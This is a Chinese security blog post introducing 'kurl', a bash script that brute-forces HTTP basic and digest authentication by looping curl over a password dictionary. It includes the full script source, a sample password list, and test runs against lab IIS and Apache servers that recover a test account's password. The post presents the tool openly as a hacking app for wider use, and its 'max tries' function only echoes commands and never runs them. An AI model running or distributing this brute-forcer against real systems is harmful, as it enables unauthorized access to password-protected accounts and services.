Kurl——轻量化http-authentication在线暴破工具

阅读量    100617 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

作者:閦蠱

0x00:背景

HTTP认证(HTTP-Authentication,后文统称http-auth)是一种标准化的HTTP安全加固方法(RFC 7235等),虽然不怎么常用,因为WEB服务器的页面通常情况下都采用匿名认证方式,即允许所有人访问(如果服务器或者防火墙没有进行IP限制)。与其他基于密码的身份认证方式一样(如果未引入其它认证因子),http-auth同样存在无法核实用户是否为真实可信的用户。虽然http-auth技术并不常用,但在我们后期的研究工作中会频繁涉及(研究正在进行中,不便透露具体应用场景),加之我们希望能在低功耗、多元化OS的场景下实施http-auth攻击,因此我们希望寻求一种折中的方案——既便于在多平台下使用,又能大幅减少功耗,毕竟在手机,平板电脑上面电池续航是一个很大的问题。正是基于上述原因,我们尝试着用shell脚本写了“閦蠱”项目(vmOS)上的第一个hacking APP——kurl, kill http-auth via curl。

 

0x01:验证

Curl是一个*nix平台下非常容易获取和安装的工具,可以满足对CLI重度依赖的用户实现必要的HTTP访问请求。Curl提供了对常见http-auth的支持,包括basic,digest,ntlm,negotiate等。但是,我们后期研究工作中大概率涉及到的是basic和digest这两种认证,因此我们在kurl的demo中只实现了对这两种认证的支持。

通过在Windows Srv 2012 R2和CentOS上配置http-auth后,我们通过curl命令获取想要的页面,比如http://192.168.*.*/testme.html。 同时,我们将获取到的页面保存到本地,通过先后输入正确和错误的密码,我们得到了两个不同大小的页面,并且分析其中内容后,我们确认:

——在输入正确的用户名和密码后,我们可以获得登录成功后的目标页面;
——在输入错误的用户名或者密码后,我们得到的页面包括http状态代码401的页面
——通过大小比对以及返回状态码,我们完全可以轻易区分登录成功和失败的页面。其实,burpsuite也是采用的这种方法,不过它具有更强的通用性和便捷的UI。

再者,我们可以看到错误页面中存在http状态代码401,大多数情况下都会有这个status代码,这是http-auth协议中规定的。

通过上面的验证,我们确信可以通过编写一个简单的shell脚本,来实现针对basic和digest这两种http-auth的在线暴力破解工具,同时还可以根据后期可能用到的功能进行精细打磨。

 

0x02:kurl实现

Kurl只是一个验证性的demo,因此只是实现了最简单的功能,针对采用basic和digest两种方式验证用户身份的http-auth进行在线暴力破解。考虑到我们自己在后期项目中可能存在的需求,我们引入了最大猜解次数和休眠间隔,尽可能把人工干预降至最低。

考虑到每次读取和保存的html页面体积较小,因此没有做一个专门的kurl_check_passwd函数。使用者只需要通过cat命令,diff命令以及ls命令进行简单的判断,即可知晓哪一个可能是真实的登录密码。如前文所述,登录成功和失败两种情况通常只会对应两个不同大小以及http status代码(如果服务端返回http status代码)的页面。kurl工具Demo完整代码如下:

kurl —— https://github.com/virusmore/virusmore/tree/main/Hacking%20APP/kurl

#!/bin/bash

#
# APP: kurl -- kill http-auth via curl
#
# Auther: 閦蠱(virusmore)
#
# Param:
# $1 -- http-auth type, basic, digest or anyauth. However, anyauth is NOT suggested by curl official.
# $2 -- url to attack
# $3 -- username
# $4 -- path of the dictionary full of passwd
# $5 -- num of max tries in integers
# $6 -- time interval to sleep in seconds
#
# Change Log:
#

# Default time interval of 180 seconds
KURL_DEFAULT_TIME_INTERVAL=180

#
# Pure attack without considering max tries or time interval
#
function kurl_attack () {
	index=0
	cat $4 | while read line
	do
		# Delete all chars that may lead to mistakes
		passwd=`echo $line | tr -d "\n"`
		echo [+]curl --$1 -u $3:$passwd -o "kurl_"$3"_"$index".html" "$2"
		curl --$1 -u $3:$passwd -o "kurl_"$3"_"$index".html" "$2"
		let index++
	done
}

#
# Attack with max tries of interval, 5*60 seconds
#
function kurl_attack_with_max_tries () {
	try=1
	index=0
	time_interval=$KURL_DEFAULT_TIME_INTERVAL

	# Get the time interval user input
	if test $# -eq 6
	then
		time_interval=$6
	fi

	# Loop to attack from the input passwd dictionary
	cat $4 | while read line
	do
		# Delete all chars that may lead to mistakes
		passwd=`echo $line | tr -d "\n"`

		# DO NOT exced the max tries
		if test $try -lt $5
		then
			echo [+] curl --$1 -u $3:$passwd -o "kurl_"$3"_"$passwd"_"$index".html" "$2"
			let try++
		else
			echo [!]Sleep $time_interval
			#echo sleep $time_interval
			let try=1
		fi

		let index++
	done
}

# Check the http-auth type
if [[ $1 != "basic" && $1 != "digest" ]]
then
	echo "[!]Plz check your input on http-auth type!"
	exit 0
fi

# Check the number of params
case $# in
	4)
	# Invoke krul_attack to launch attack
	kurl_attack $1 $2 $3 $4
	;;
	5)
	kurl_attack_with_max_tries $1 $2 $3 $4 $5
	;;
	6)
	kurl_attack_with_max_tries $1 $2 $3 $4 $5 $6
	;;
	*)
	echo "[!]Plz check your input!"
	exit 0
	;;
esac

 


0x03:测试

测试环境:MacOS 11.4

用户信息:test:admin@123

字典文件:passwd.txt

123456
admin
88888888
666666
987654321
admin@123
password
12345678
iloveyour
qwerty123
!@#$%^
!@#$%^&*
qaz123
00000000
toor
root

目标页面URL及网页源代码:http://192.168.168.8/***/testme.html

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="vmOS -- Virusmore OS">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS Windows Server</title>
</head>
<body>
I AM JUST A TEST PAGEFILE…
</body>
</html>

目标环境:Windows Srv 2012 R2以及CentOS 8

——Windows Srv 2012 R2 + IIS
——CentOS 8 + Apache
——认证方式:basic,digest

1) Windows,IIS,basic认证

IIS服务器http-auth配置:

执行以下命令后,所得到的结果截屏如下图:

kurl basic “http://192.168.168.8/testme.html“ test passwd.txt

在Windows Srv 2012 R2服务器上,IIS用户验证设置为basic时,kurl会逐一用“test:密码”这样的验证信息调用curl命令,并且保存读取到的文件。从ls罗列出的信息来看,kurl_test_5.html的文件的大小明显小于其它html文件。通过查看该页面内容,的确为所需访问的目标页面,如下:

2) Windows,IIS,digest认证

如上图所示,在Windows Srv 2012 R2服务器上,IIS设置了摘要式身份认证(digest)。同样,我们在macOS上,我们设定用户名为test,在线爆破文件为passwd.txt,执行以下命令,实施在线爆破:

kurl digest “http://192.168.168.8/testme.html“ test passwd.txt

从上图中,我们可以看到与测试1中几乎一模一样的结果(文件创建时间不同)。再者,kurl_test_5.html文件对应的内容也与我们所需访问的目标页面一样。

3) CentOS,Apache,basic认证

执行如下命令:

kurl basic “http://192.168.168.8/basic/testme.html“ test passwd.txt

该测试用例下的配置及命令执行结果如下图:

从上面图中我们可以清晰的看到,kurl_test_5.html文件对应的大小与其它文件不同,其对应的密码正是test用户的密码“admin@123”。

4) CentOS,Apache,digest认证

kurl digest “http://192.168.168.8/digest/testme.html“ test passwd.txt

上述命令执行之后的结果以及该测试用例对应的配置文件如下图:

从测试结果可以明显看出,kurl已经成功获取了该测试用例下,登录成功后的页面,当然也保存了所有登录失败的页面。

 

0x04:总结

目前,kurl只是一个非常简单,甚至简陋的shell脚本而已,但是它体现了将复杂问题简单化的思想。同时,由于kurl自身的轻量化特性,使得我们可以将一些重型hacking tool(Burpsuite等)上的部分功能移植到仅支持CLI的安卓或iOS Linux模拟器上。再者,由于kurl自身基于shell编写,因此可以在所有*nix系统上愉快的使用,当然前提是能够安装curl。

此外,我们后期会逐步在GitHub上发布更多的原创Hacking APP,主要是针对IoT环境下的hacking,当然最重要的还是希望更多志同道合的朋友一起参与“閦蠱”项目(vmOS),打造一款适合华人安全圈的Hacking OS——vmOS。

 

0x05:参考

  1. “閦蠱”项目(virusmore). https://github.com/virusmore/virusmore/tree/main/Hacking%20APP/kurl
  2. curl使用手册. https://curl.se/docs/manpage.html
  3. RFC 7235. https://tools.ietf.org/html/rfc7235
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多